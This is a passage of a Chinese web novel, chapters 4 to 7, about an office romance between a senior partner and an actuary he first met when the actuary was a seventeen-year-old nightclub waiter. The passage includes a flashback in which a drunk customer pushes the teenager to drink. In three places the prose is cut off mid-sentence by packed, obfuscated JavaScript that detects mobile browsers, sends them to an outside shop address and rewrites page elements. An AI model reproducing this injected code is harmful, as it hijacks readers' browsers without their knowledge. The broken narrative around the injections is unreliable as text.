戚时安贪婪又温柔地盯着对方的脸:“还没自我介绍过,我是戚时安,这里的高级合伙人。” 精算师擅长将各种具有不确定性的事物量化,沈多意也形成了这种职业化的思维,使一切有序进行,但戚时安的再次出现是他没有考虑过的不确定事件。 不,其实也曾考虑过,在这些年月中的某个瞬间。 4. 第 4 章 高中生的课余时间有限,十七岁的沈多意没什么宽泛的选择,每天放学后都要尽快赶去便利店做兼职,不过他偶尔会去做另一份工作——夜总会服务生。 原本这种地方他是不想来的,但总经理是便利店老板的侄子,他才稍微放心一些,感觉至少不会被骗。 他的薪水按小时计算,小费收入的百分之七十都要上交给夜总会,即便如此,每晚赚的钱也比在便利店收银要多太多。 晚自习结束已经很晚,他穿着一身整齐的校服从夜总会的后门进去。工作服是衬衫西裤,还有小马甲和领带,他刚学会扎领带,每回都要折腾好久。 他负责大厅一隅,不管包间,这点比较幸运,因为包间里的醉鬼实在太多。凌晨两点工作结束,后门也关了,他重新换上校服准备回家。 “多意,明天的排班表,你填的六点?” “嗯,明天开家长会,放学早。”沈多意拉好校服外套的拉链,决定明天多带身衣服,不然天光大亮的,穿校服进出太扎眼。 虽然他已经被同学撞见过,流言也早飞遍了整个年级。 整座城市的中小学好像都在同一天开家长会,以至于军用越野刚开进干休所,就被一个提前放学的小屁孩儿拦在了林荫路上。 “哥!” 章以明猛拍方向盘:“你弟是不是有点缺魂儿啊?刚才要是没刹住,估计今天我得在你们家门口吃枪子。” 戚时安开门下车,微微弯腰和扑过来的孩子拥抱了一把,说:“章以明问你是不是缺魂儿,回答他一下。” 八岁的霍学川扒着军用越野的车窗:“明哥,姥爷说这车将来给我开,你下来!” “你姥爷蒙你呢,已经过到你哥名下了。”章以明猛踩油门,“沉死了,开习惯跑车再碰这个,我以为驾驶的是推土机呢。” 戚时安拉着小学没毕业的弟弟往家里走,边走边回答问题。 “哥,在军校都训练什么啊?” “吃喝嫖赌抽,想不想学抽烟?” “想。你学格斗了吗?” “学了,你打算斗谁?” “我想让你保护我,今天姥爷去开家长会,我觉得我得挨揍。” 哥俩说着话到了家里的楼前,章以明已经熄了火在等候。进门后,客厅的桌上摊着几本练习册,霍学川自觉地过去写作业。 戚时安上楼洗澡换衣服,在军校这段时间总是穿军装,还要扎着武装带,现在猛地换回牛仔裤和体恤衫,让他有些不习惯。 章以明大了几岁,特别爱玩儿,问:“晚上喝酒去?” “去哪喝?” “去了你就知道了。” 戚时安觉得那是句废话,无非是故作神秘吊人胃口,他觉得很没必要。但当他看见夜总会的牌子后,他才发觉那句话十分必要。 章以明道:“我提早交代的话,你肯定就不来了。” 没错,戚时安快十九岁,吃喝嫖赌抽其实只会前两样,他没有任何不良嗜好,对这种灯红酒绿的地方也没有半点兴趣,尤其是在经历了几个月的部队训练后。 大厅的上座率一直很高,因为乐队演出的花样总在不断翻新。两个人找了位子坐下,随便点了些啤酒和水果。 灯光时明时暗,戚时安被晃得有些犯困,正在眼快闭上的时候,音响里又爆发出一阵密集的鼓点。旁边的章以明已经不知所踪,大概是勾搭上陌生人进了包房。 “少爷,有什么推荐吗?” 一声轻佻的问句钻进耳朵,戚时安循声看去,见一名服务生停在了前方的桌边。那是一张很好看的侧脸,能引人忍不住遐想正面是什么模样。 除却侧脸,还有被马甲勒紧的一把细腰。戚时安在无人注意的地方肆意欣赏,甚至想起了“沈郎腰瘦”这个成语。 沈多意无瑕察觉窥探的目光,为了不挡住其他客人看向舞台的视线,他在桌前蹲下,然后熟练地推荐了几种酒品。 七八瓶酒端上桌,带着醉意的客人要求道:“少爷,你每样来一杯吧,我请客。” 沈多意厌恶这个称呼,他抱歉地笑:“我们有规定,服务生不允许喝酒。” “你怎么能当服务生啊。”那位客人已经把几个空杯倒满,“你这模样当少爷多好,我第一个包你。来,慢慢喝,一杯两千。” 戚时安的钥匙扣也两千,他心里有点错杂。 沈多意把酒单放在桌上,然后伸出手握住了其中一杯,酒气在鼻间弥漫开来,仿佛和着忽然变缓的音乐声。 但音乐很动人,可酒是辣的,是苦的。 如果疲惫和委屈是从心底蔓延,渐渐将人灌满,那此时的烧灼感便正好相反,由喉间向下,一路烧城燎原,到达胃里时如同投下一枚炸弹,噼里啪啦的,又痛又烫。 第三杯时,沈多意已经蹲不稳了,摇晃着快要坐在地上。 戚时安目睹一切,出声道:“服务生,上酒。” 只见蹲在那边的人徐徐转过脸来,额前的头发微微潮湿,太阳穴上有汗水顺着脸颊滴下。面色是不正常的红,薄唇湿润还沾着酒。 一双眼睛在时明时暗的灯光下,仿佛盛着轮骄阳。 戚时安罪恶的想,如果对方真的是“少爷”,他一定要包他。 沈多意疼出了一身冷汗,面皮被酒精刺激得泛红,他用仅有的一点力气计算,喝了几杯?能分到多少小费? 戚时安已经走到桌前,也看见了胸牌上“沈多意”三个字,在那桌客人正要发作时,他一把拎起了蹲在地上的人,装熟道:“多多,你怎么又偷偷来打工,你爸来接你回家了。” 沈多意盯着对方,年纪相当使他没太多防备,就算有,也在那句“多多”里土崩瓦解了。 只有他妈妈这样叫他。 他妈妈走了好多年了。 沈多意恍惚想起,今天开家长会来着。他被戚时安搀扶到了大门口,期间始终捂着肚子直不起腰,脸上的汗全蹭在了对方的肩膀上。 戚时安问:“你是醉了还是不舒服?” “我不知道,”沈多意仰头看对方,“我这儿好疼。” 戚时安伸过手去,把掌心捂在了沈多意的胃部,才发觉怀中的身体已经疼到了发抖的地步。酒劲翻起,沈多意站都站不稳了,他强撑着说:“谢谢你啊。” “不用。”戚时安不知道怎么想的,“你真不是少爷?” 回答声或者骂人声都没有听到,手中的身体剧烈颤抖着,戚时安看着沈多意又沁出了满脸的汗珠。他弯腰把对方背起,朝着不远处的越野车走去。 边走边声明道:“我把你带回家了啊,清醒了别跟我闹。” 沈多意混混沌沌地说:“爸,你来接我啦……家长会老师表扬我了吗?” 他还在上学? 戚时安脚步未停,心却莫名其妙地被揪了一下,他支吾着回答:“表扬了,继续努力,好好听话。” 沈多意没再回答,已经闭眼睡了过去。 军用越野的动静着实不小,尤其是在安静的夜晚时分,戚时安把沈多意带回了干休所,并且向他爸妈谎称对方是自己的同学。 几个月没在家住过,房间都没了人气儿,他把沈多意从背上卸下,轻轻安置在床上。正不知道该怎么照顾的时候,瞥见了站在门口的霍学川。 “哥,姥爷拿军棍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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开军牌车去夜总会的事儿已经被他爸妈知道了,于是越野暂时换成了黑色的大众。沈多意清醒后窘迫、无措、并且害羞,仿佛在陌生的干休所多待一秒都会心理崩溃,戚时安故意磨磨蹭蹭地找车钥匙,故意慢慢腾腾地系鞋带,因为他想看沈多意崩溃。 清醒着崩溃的话,他可以再次趁人之危。 “我在秋叶街下车就行。” 出门前已经道过谢,所以路上沈多意只说了这一句。黑色的大众最后停靠在秋叶街边,戚时安熄了火,等沈多意问自己的名字。 沈多意解开安全带:“谢谢你,祝你出入平安。” 戚时安怔住,他不怎么浪漫,也不信什么一见钟情,但昨晚的一瞥确实令他心动。主动解围,带回家照顾,他没想把“好人”俩字写脸上,他明明满脸都写着“想搞你”。 结果车门打开又关上,沈多意走了,只留下句“出入平安”。 戚时安没下车追,点着火调头驶离了秋叶街。胸腔渐渐升腾起一股气来,胡乱的堵在各个气管出口,最后把他气笑了。等红灯时踩下刹车,后视镜上挂着的坠子摇晃了几下,背面翻转了过来,上面赫然写着“出入平安”四个大字。 “……” 戚时安拿起仪表盘上的软珍小熊猫,抽出一根点燃吸了两口,从此吃喝piao赌抽,他又多会了一样。呛人的烟气弥漫在车厢,绿灯亮起的瞬间他把大众开出了越野的气势。 两千一杯的酒,沈多意疼晕也要喝。 所以钱能左右的话,那就很好办了。 高级合伙人的办公室里听不见任何来自外部的杂音,沈多意睁大许久的双眼忽然无力地眨了两下,他垂下头看了眼地板,然后蹲下身拾捡滚落的栗子。 戚时安绕过办公桌去,正好望着对方的发心,他蹲下随手捡了一颗,剥开放进嘴里,咽下后说:“很甜,德国人炒栗子没放糖,不如这个好吃。” 沈多意还在捡,貌似没有回神。 戚时安一把抓住对方的手腕:“隔了十年才知道我的名字,希望你能牢牢记住。” 沈多意抬眼:“还有别的事吗?” 戚时安笑答:“因为报告而取消的欢迎会,今晚我来补给你。” 5. 第 5 章 腕间淡青色的血管被戚时安用指腹掐着,沈多意动动手指想要挣开,但是两三次后都失败了,毕竟他不知道对方练过格斗。 “戚先生,要一直这样蹲着吗?”沈多意抬头对上戚时安的目光,然后平静地出声问道。戚时安终于松开了手,像小孩儿上交压岁钱似的,很舍不得。 栗子被悉数捡回袋子里,沈多意站起身,把分析报告放在了办公桌的边缘处。在摞成山的文件旁,那份报告显得孤独又单薄,他避开戚时安的注视,说:“报告放这儿了,有什么问题我再改。” 报告不过是当时为了取消欢迎会的把戏,两个人都心知肚明,戚时安按照沈多意给的台阶下去,说:“好多文件要处理,等我弄完了就看你的报告。” 沈多意移开半步:“那我回去做事了。” 戚时安故意不吭声,让对方以为他是默认,等人转身要走的时候再一把抓住,无赖道:“糖炒栗子不是送给我的么,怎么还要带走?” 沈多意迅速把那袋栗子塞进戚时安的怀里,戚时安满足地接过,又问:“我给你买的那袋——” “我不要了。” 沈多意打断他的话,然后挣开走了。 时间一分一秒的过去,桌上摞着的文件还是之前那么高,戚时安靠着桌沿出神,脚边全是剥落的栗子壳。 那时候不要,现在也不要。 那加薪要不要? 沈多意已经对升职加薪不抱什么期待了,回部门的路上心中百味杂陈。记忆里面的戚时安,在夜总会帮过他,在酒吧围堵过他,还在国宾等过他。 态度时软时硬,好像很在乎,又好像很瞧不上。 事到如今,他依然不清楚对方是个什么样的人,也不清楚对方怎样看他。他甚至心里没底,隐隐担心对方把他打工的陈年旧事,在茶余饭后跟别人嚼了去。 他很怕流言四起。 十几岁就流连娱乐场所的戚时安,对人连堵带截花样频出。沈多意回到了自己的办公室,靠着门催促自己尽快从回忆中抽离。 他猛然想起孟良的话来:爱玩成性,欺男霸女。 戚时安还不知道自己的形象已经从万丈深渊掉入了十八层地狱,吃完栗子继续工作,要把这些天积累的问题一一处理干净。 未看的文件逐渐减少,看完的在另一边重新堆起,办公桌上的三台电脑,分别显示着几支股票的走势图,他偶尔瞥一眼,最后盯着上证指数历史循环周期图,开了语音会议连线到股票投资部。 戚时安忙得没注意时间,甚至口渴到无法忍受才想起喝口水,他看着空掉的杯子按下了内线电话:“安妮,你想渴死我?” 安妮几乎是立刻推门进来,快步走到桌前拿杯子,穿着细高跟鞋差点被栗子壳绊倒。她再次端着水进来时,顺手把垃圾收拾到环保袋里,提醒道:“戚先生,该吃午饭了,在员工餐厅吃还是出去吃?” 戚时安看了眼手表,这时候订位子已经晚了,他想了想:“员工餐厅吧。对了,晚上定夏天餐厅,整个三四层都要。还有通知各部门三点开会。” “好的,我马上打电话确认。”安妮准备出去。 戚时安出声:“等一下,开会的时候加上咨询部。” 咨询部其实归章以明管,两方平时井水是井水,河水是河水。但戚时安心里的那池子水已经涟漪四起了,他便不想再理会其他,只想舀对方一瓢水过来。 时间稍晚,员工餐厅没什么人,也没什么好菜,戚时安到的时候正好碰见章以明在中央空调的出风口下讲电话。 “跑车送你,你故意撞坏弄得医院警局两头折腾,好的我再送你一辆新的,现在又来不要钱要爱那一套。” “我不怕分个手太贵,就怕分个手太累。” 估计是前几天陪证券交易所的王主任太操心,章以明此时暴躁非常,丝毫想不起与手机那端的人曾怎样快活温存。电话终于在哭叫声中挂断,他扭脸看到戚时安正好整以暇地望着自己。 “分手成功了吗?”戚时安云淡风轻,“想跟你谈个事儿,别误伤了我。” 章以明随手拉开椅子坐下:“我一个月不知道分多少次手,这回算是遭遇滑铁卢了。真他妈,舞池里扭着屁股认识的,她还想白头偕老啊?” 厨师把单做的菜端上来,戚时安先尝了一口,问:“那你最近和谁举案齐眉呢?” “一个大学生,学昆曲的。”章以明迅速下了筷子,“男孩儿,我边弄他边让他唱,那叫声特好听,以为飞进来一只黄鹂鸟呢。” 戚时安忍不住皱眉:“打住,已经开始恶心了。” 章以明也停止回味:“对了,你刚才说谈事儿,谈什么事儿?” 戚时安停了筷子,难得换了副真诚又可爱的表情,说:“明哥,把咨询部给我吧。” “……”章以明嚼着鲜脆的冬笋,“分工合作,你手下的所有部门我从不插手,公司的账户也是你单独操作,对吧?咨询部掌握着业务命脉,你要走它就等于断我肱骨。” 戚时安被飙升肾上腺素冲昏了头,此时三碗饭下去压了压,脑子恢复清醒,笑着说:“开完笑的,我是想说,以后我们这边开会,最好把咨询部也加上。” 既然是掌握着业务命脉,那就要时刻了解市场的方向和技术部门的动作。章以明耸耸肩膀:“其实早该加了,省的开完再传达,麻烦。” “嗯,你理解就好。”栗子的饱腹感很强,以至于戚时安吃了三碗饭就搁下了筷子,“下午开会估计很累,我晚上订了餐厅请大家吃饭,你分完手也过去吧。” 午休时间因为短暂而珍贵,戚时安从不在餐厅多待,吃完擦擦嘴就走。他顺道去几间休息室看了看,不过没进门,怕惹得员工无名紧张。 目光逡巡了数遭,却始终没看见沈多意的身影。戚时安溜达到咨询部门口,把值班的前台小姐吓了一跳,他面无表情地经过:“继续补你的妆,不用管我。” 整片格子间看不到什么人,有的外出吃饭没有回来,有的在休息室聊天,只有零星几个趴在桌上睡觉。他轻轻走到组长办公室门口,透过玻璃窗看见沈多意趴在桌上。 戚时安这才发现沈多意的身上没有穿西装,而是穿了件海蓝色的针织衫,宽松的袖口被撸到手肘处,露着两只纤细的小臂。右手手腕上带着只防水手表,貌似是中学生才喜欢的款式。 沈多意安安静静地趴在那儿休息,带着抹海蓝色在阳光中浅浅呼吸。 戚时安移不开眼睛,想起了家里的一株蓝色绣球花。 手下随主,安妮的工作效率很高,预订了餐厅、出了通知,还迅速拟了文件挂上系统公告,以后戚时安的部门会议咨询部也要参加。 任何一项变动在人多口杂的公司都会被议论上几天,高层的心理也会被揣摩个不停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727240|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。咨询部从此两边的会都要开,两个老板对于部门的分量也要重新评估。 不过他们还未来得及琢磨,就要赶去三十层开会了。 戚时安手下的部门都按平时的座位就坐,咨询部的主管和几名组长只好盘踞在后方。沈多意刚来没多久,自觉地坐到了最后。 戚时安一眼望去,偏头道:“安妮,把我的眼镜拿过来。” 大灯关掉,只余台上亮着光,文字政策只要认字就该读懂,所以快速略过,数十张典型的指数图要一一分析,引申各种可能,这是戚时安一贯的开会方式。 沈多意在食指和中指间夹着笔,凝神盯着投影的内容。 “去年公司一直着力做期货投资,现在也时刻关注着贵金属和化学品这两方面,不过重心渐渐转移到了外汇投资上。”戚时安应该已经养成了习惯,他随手摘了袖扣丢在桌上,然后把袖子挽起来。 屏幕上出现了恒生指数,所有人都开始自动吸收图上的数据,戚时安没什么耐心,自己讲完直接切下一张美元指数。沈多意在笔记本上快速画了简易数轴,并建立数学模型把几项数据做大致的比对。 戚时安看在眼中,停下问:“沈组长,多长时间能准确估出空头市场出现的概率?” 沈多意抬头回答:“五分钟,但是我倾向于预估多头市场出现的概率。” 问题绕回了报告中,戚时安以前的报告里对前景看坏,而沈多意做的报告却是看好,此时再一次产生了分歧。 戚时安调回恒生指数那张,详细地说了自己的看法,说完隔着镜片看向台下:“所以恒生指数明年很有可能大跌,美元指数虽然居于高位,但也有可能反转下跌。沈组长,我改变你的看法了吗?” 沈多意回答:“哪怕是全球共振上涨周期,也依然有谨慎的看法存在,所以我尊重每个人的看法,并且保留我的意见。” 戚时安顿了两秒,随后摘掉了眼镜,他忽然觉得能不能看清楚容貌已经没那么重要,似乎交流更能煽动他心中的火焰。 会议的后期,所有人都变成了畅所欲言的状态,大家高谈阔论,各抒己见。戚时安像讲完课转班的老师,转到沈多意旁边时搁下了那份报告。 沈多意翻了翻,发现了密密麻麻的批注。 甚至有一句“分析到位,你很棒”。 小学老师都没这么嗲,沈多意仰头问:“戚先生,真像你分析的那样,市场迎来危机怎么办?” 周围有些乱,戚时安俯下身去,单手撑在桌面上,回答:“对于有的人来说,危机意味着灾难,对于还有的人来说,危机可能等于机会。” 他说完动作没变,只提高了音量:“今天的会就到这儿,回去做事,晚上夏天餐厅,我请大家吃饭。” 沈多意把本子合上,但人都走光了,眼前的手臂还挡着他的去路。戚时安想起会上的提问与回答,说:“沈组长,五分钟有点慢了。” 沈多意抿着唇颔首,不否认也不辩解,其实他只需要两分钟,但是同部门的主管和其他组长都在,他又是刚来,所以要最大程度的收敛。 “戚先生,没事的话我也回去了。” 戚时安终于闪开,但在对方走到门口的时候出声叫住:“开会难免想打瞌睡,可以坐得远一点。” 沈多意回身反驳:“我没——” 戚时安打断:“晚上吃饭,坐我旁边。” 6. 第 6 章 偌大的办公室里仿佛能听见回音,这简单的八个字仿佛也变成了直白到近乎赤//luo的邀请。沈多意有些手足无措,因为他很多年没听过这样的话了,而上一回听似乎也是眼前这个人说的。 戚时安把丢了半天的袖扣抓进手心,袖扣上镶嵌的宝石硌得他肉疼,他很想再说句什么,进一步催化沈多意的情绪,但他与生俱来的自负和突然生出的矜持却张手阻拦,甚至扼住了他的喉咙。 沈多意终于出声回应:“到时候看情况吧。” 对他来说,这是最好的答案,他没有明确又不留情面的拒绝老板,但也完全没有答应的意思。老板旁边应该是高层,其实不管是谁,都不该是他这个初来乍到的人。 他不想破坏规则。 戚时安全然明白:“我懂你的想法,但有一点你忽略了,正常情况下,没有下属敢和老板这样说话。” 晚上吃饭,坐我旁边。 到时候看情况吧。 沈多意微怔,一时间想不到如何解释。戚时安帮他,悠悠说道:“你的回答基于你的潜意识,而你的潜意识是——我不会生气。” “可你为什么觉得我不会生气?”戚时安气定神闲,“因为在你心里,我不只是老板,对吗?” 沈多意思潮起伏,目光都不知道该落在哪里,他攥着报告,瞥见了上面的红色批语,急中生智道:“对,亦师亦友,如果旧事不提的话。” 他已经签了协议与合同,只想好好工作,升职加薪。戚时安的出现是个意外,但他无法避开的话,就把意外的影响降到最低。 再不回去,部门里其他同事就要八卦了,戚时安也不想再轻裘缓带地折磨人,像个使温柔刀的刽子手,反正以后有的是时间和机会。 既然刽子手收了刀,待宰的沈多意便如蒙大赦般撤离了三十层会议室。没多久临近下班,想到吃晚饭的时候还会见面,他连写工作概要的思路都想不起来了。 正直春季,开欢迎会的地方却叫“夏天餐厅”。整个三四层都被预留下来,明安所有部门的员工将在今晚进行本年度第一场聚餐。 三楼是中式装潢,四面墙体挂着无数盆绿植,树叶掩映下还有几个型号不一的鸟笼。等菜上桌的间隙,股票部的聊股票,外汇部的聊外汇,无关实盘操作技术的部门什么都聊。 沈多意安静地坐在位子上喝水,喝完用手机搜索小篆,想知道墙上那副字写的是什么。旁边平级的齐组长探头看了眼,说:“这还用查啊,风行水上,自然成文,《庄子》里面的吧。” 沈多意其实在查复杂的落款,句子本身他是看得懂的,而且知道出处是《易经》,并非《庄子》。他冲齐组长笑笑,然后收起了手机,转移话题道:“怎么还不上菜,我肚子都叫了。” 戚时安张罗的欢迎会,对外却只宣称请客吃饭,而且直接请了全公司的人。正因为如此,最大程度的热闹包围着沈多意,但不会有人过分关注他,他觉得很舒服、很惬意,既能被其他人的快乐感染,也不用客套的去交际。 菜品终于上桌,戚时安几乎是立刻拿起了筷子,他不吃第一口,底下的人不好开始。边吃边听章以明在耳边絮叨,顺便望了眼远处的沈多意。 现实总是距理想十万八千里远,从落座就被汇报工作的高管包围,偏偏章以明还要守着他大吐苦水。“先吃饭吧,嘴不累么?”他受不了了,“来,吃个虾仁。” 章以明嚼着虾仁继续叨叨:“以后和证券交易所的人应酬轮着去,下次该你了,凭什么每次都是我上?” 戚时安反问:“那你替我操盘?” “少来啊。”章以明偃旗息鼓,把杯子里的酒喝掉一半,“时安,你到底和沈多意什么关系?” 戚时安沉默不言,看见沈多意正啃着螃蟹腿笑,难得一见的傻样让他很想拍下来。章以明搭着他的肩膀,低声说道:“要是没什么关系,我就不看你的面子了。” 戚时安终于对章以明说的话提起了重视,微微侧过脸去:“什么事儿?” “能是什么事,公事呗。”章以明把剩下半杯酒也喝干净,“他和保险公司的旧上司关系不错,业务上有没有断干净还难说,而且执照还挂靠在其他咨询公司赚外快。” 戚时安想起用旧没换的钥匙扣,也想起沈多意为赚两千块钱疼得冷汗直流。他一时间哑口无言,不知如何审判对方再一次的“甘为五斗米折腰”。 酒过三巡,座位都乱了,有的吃饱上楼看风景,有的去笼子前逗画眉,沈多意抓着条蟹腿啃到了天荒地老,满手都是熟螃蟹的气味。 洗手间空着,他仔细地洗了几遍手,确认只剩下洗手液的香气才作罢。洗完没回座位上,溜达着上了四楼。四楼的壁画浓墨重彩,地上铺着花纹繁复的织锦地毯,好像是西亚的风格。 四楼也没有窗户,感觉像待在露天的旅馆,风灌进来拂在脸上,有点舒服也有点凉。沈多意在角落的沙发上坐下,正好接起一通电话。 “师兄,适合老年人的新险种,有没有兴趣?” “你设计的?”针织衫一吹就透,他往怀里抱了个靠垫取暖,“说来听听,合适的话就买,当支持你工作了。” 孟良在电话里简明扼要地介绍了一下,都是内行人,听俩关键词就知道本质。沈多意默默盘算,仰着头枕在了靠背上:“和白金计划有点类似,正式推出了吗?” 孟良乐道:“其实还没。” “那你啰嗦半天,求教就明说行不行啊。”沈多意笑骂对方,音量也不自觉抬高了,正高兴着,整片视野被突然靠近的人影遮了个严实。他吓得从半仰的状态弹坐起身,心有余悸地说:“戚先生,怎么走路没动静。” 戚时安反驳:“地毯太厚,或者是你聊电话太高兴。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727241|189514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我有点情况,等会儿再打给你。”沈多意挂了电话,怀里还抱着靠垫。再落座时戚时安挤开他,霸占了他刚暖热的位置,但坐下后才发现,戚时安正好挡住了冷风。 “欢迎会总要说句‘欢迎’才对,欢迎你加入明安。” “谢谢。”沈多意扭脸看对方,“如果之前从没见过,你会请我吗?” 戚时安回答:“章以明面试你之前问过我,我说对你有信心,别的什么都没做。” 沈多意又说了一遍:“谢谢。” 两个人并排坐在沙发上,从后排看身材相差很多,沈多意的肩颈部分还像是少年身形,而戚时安则肩膀宽阔。 一阵沉默过去,气氛变得有些尴尬,沈多意感觉戚时安欲言又止,只好静静等着。吃完饭的同事越来越多,上来四楼看风景的也越来越多,他有些坐不住了,起身说:“第一次来这间餐厅,我去五楼也参观下。” 沈多意慢慢上楼,顺便给孟良回电话:“刚才老板突然出现,吓了我一跳。” 孟良问:“哪个老板?是爱玩儿的那个吗?” 沈多意还没出声回答,因为上到楼梯拐角时听见了不寻常的动静。 “送你的项链还戴着呢?最近出的那款喜欢吗,也送给你啊。” “别乱动,我会单手解扣,可不会单手系扣。” “拿着我的车钥匙,等会儿散了先去车上等我。” …… 章以明搂着个女孩儿在拐角处亲热,沈多意恍惚记得那女孩儿是人事部的员工。先不说“同公司不允许恋爱”这条规定,章以明的女朋友不是刚出了交通事故吗? “师兄?你怎么不说话了?” 沈多意回过神来,悄悄后退着回答:“我看见姓章的老板在搞外遇,可是乱搞的不应该是姓戚的吗?” 他话音刚落,双肩就撞到了什么。 身后的戚时安胸膛没被撞疼,大脑却被沈多意那句话冲击得没了理智。待沈多意转过身,他抱臂靠着楼梯扶手,兴师问罪道:“你刚才说谁乱搞?” 沈多意再次被迫掐断了电话,支吾道:“你十几岁就逛夜总会了……” “许你去打工,不许我去消费?”戚时安委屈四溢,气性不断拉伸膨胀,最后故意咬牙切齿道,“实话告诉你,全市所有夜场里长得漂亮的,我都搞过!” 不出所料,沈多意睁大眼睛看着他,但他读不出里面的情绪。 片刻后,沈多意轻声说:“记得戴//套。” 无风吹来的楼梯上,戚时安的血压瞬间就飙升到了一百八。 沈多意趁对方气极没回神,立刻下楼离开这方是非之地,谁知经过对方身旁时被一把握紧了手臂。戚时安扭过脸看他,眼中分不清是冰冷的深海,还是灼热的篝火。 只听他恐吓道:“你知道吗,我最想搞的还是你。” 7. 第 7 章 戚时安嗓音低沉,此时又极力压抑着情绪,所以这短短一句话听来却有千斤重,而全部重量都压在了沈多意绷紧的神经上。 狭窄的楼梯像一处死地,周围也仿佛生出四面密不透风的墙,他们两个堵在之间,难以动弹分毫。戚时安仍紧握着沈多意的手臂,从皮肉到骨头全被他禁锢在掌心。 他忽然想,皮筋被用力抻展就会断,那绷紧的神经被压垮会不会也产生不可修复的伤害? 他忽然就害怕了。 沈多意紧闭许久的薄唇终于启开,眉眼间也盛满了不可名状的伤感,他声音小小地说:“我爷爷在等我,我想回家了。” 这场欢迎会终于迎来了尾声,没喝酒的送喝了酒的回家,还有未尽兴的商量着转场。章以明沾染了香水味,满心沉醉地等待结束后的狂欢,抬眼却见戚时安话都不留就离开了。他只好扛起总结发言的大旗,说:“今晚大家开心就好,周一不准迟到,影响工作的话奖金照扣不误。” 话没说完,楼下的汽车引擎已经放肆叫嚣,戚时安眨眼驶出了这条街区。 众人散去,沈多意和同事上司告别后也取了车离开。当车门关上,他被束缚在安全带下,不透风的空间令他觉得有些喘不过气。 但也获得了一点安全感。 霓虹灯让整个城市在黑夜中依然亮眼,路旁的屋厦拔地参天,把行人和汽车都对比成了零星棋子,他一路盯着前方,迫使自己心无旁骛地抵达了温湖公寓。 停车场里又冷又安静,沈多意停车熄火,然后解了安全带。他弯下身去,额头抵着方向盘上的喇叭按键,左手慢慢摸上右臂的手肘处。 戚时安力气很大,气性也不小,弄得他现在还隐隐作痛。 “你知道吗,我最想搞的还是你。” 心无旁骛的状态彻底被击碎,沈多意变成了破壳而出的雏鸟。不,比雏鸟还不如,没有任何保护层以外,他也没有坚硬的喙。 他拿起手机,在空旷无人的停车场,在狭小密闭的车厢,轻声开口。 “我好久没参加过聚会了,今天很高兴。” 大学同学来自五湖四海,要聚一次其实很难,初中同学分开太久,大家的联系也不那么紧密。高中同学却每年都聚,但他从来不会参加。 “因为我那时候名声不好,课余时间要赚钱,在学校里就要抓紧时间学习,渐渐的我没那么合群了。在夜总会下班出来还被同学遇见过,传来传去就无从解释了。” “他们议论我,议论的内容不算好听。” “你今晚那句话,让我感觉回到了那时候,很难受。” 沈多意说得很慢,不好的情绪也慢慢消失,在还剩下一点的时候他停下,然后重重呼了口气,把剩下那一点全部吐出。 片刻后,情绪恢复了正常,他拔钥匙下车,然后离开了停车场。而手机屏幕一直黑着,自始至终都没有拨出任何号码。 从校园到社会,从过去到现在,沈多意习惯了这样自我调节,话憋在心里会很难受,他讲出来就当翻篇儿了。但他不会真的把号码拨出去,更不会和别人讲,因为他不确定自己的难受是不是合理。 他怕自己过于敏感,而他不想做个敏感的人,不想自己累,别人也累。 两扇门隔着数个街区同时打开,都发出了“滴”的一声。 随后摔门声响彻整间公寓,戚时安换拖鞋的时候把钥匙砸在了玻璃矮柜上,用了十年之久的钥匙扣又被蹭掉了一点彩漆。 一路驰骋加上刚才的摔打,他的怒气总算消退了三分之一。 这份怒气是对他自己的,于是剩下的三分之二他打算留在体内自我惩罚。 在客厅脱了外套,扯了领带,走过过道时又解开最上面的两颗纽扣,戚时安踱步到餐厅,开灯的瞬间叹了口气。 餐厅没有紧挨着厨房,而是向阳的单独一小间,浅咖啡色的地板中央,摆放着一张乳白色的圆形小桌,四张木质皮垫座椅围成了圈。 戚时安拉开椅子坐下,目光落在圆桌中心的绣球花上。 花瓣有些蔫了,那股委屈无力的样子,像沈多意凝在眉间的伤感。 他把早上剩的半杯水洒在绣球花上,无奈地自言自语:“要不是你误会我,我也不会口不择言令你难堪。” 理智丧失的情况下说“夜场长得漂亮的人,我都搞过”,紧接着那句仿佛在说沈多意和夜场里的人无甚区别。 而他其实只是在愤怒地表达想要占有的欲/望。 戚时安枯坐了小半宿,绝望地发现在自己的注视下,花瓣好像进一步恶化。他不知道沈多意的情绪缓和了没有,希望两天假期过完,周一再见面时还能听见那句悦耳的“戚先生”。 跳槽后的第一个周末,沈多意除了睡觉就在写工作总结,他长在了飘窗上,修长的手指几乎没离开过键盘。忙完这些仍觉不够,又翻出以前设计的“白金计划”,帮孟良的新产品做了修改和补充。 “多意,你快看这个节目。” 沈多意想装作没听见,但他知道那样的话老爷子还得多走几步过来叫他,于是起身出了卧室,兴趣缺缺地问:“又看什么节目呢,《致富经》吗?” 沈老回答:“新闻报道天价墓地呢,看得我都想再多活二十年了,等降价了才敢两腿一蹬。” 沈多意切了个苹果,然后用勺子把果肉刮到碗里,刮完把勺子连同果泥一起递给沈老,说:“爷爷,你不用担心,墓地我已经给你买好了,但你千万别着急,再多活五十年成吗?” “你想让我修仙啊。”沈老吃着苹果,“不是天价的吧?” 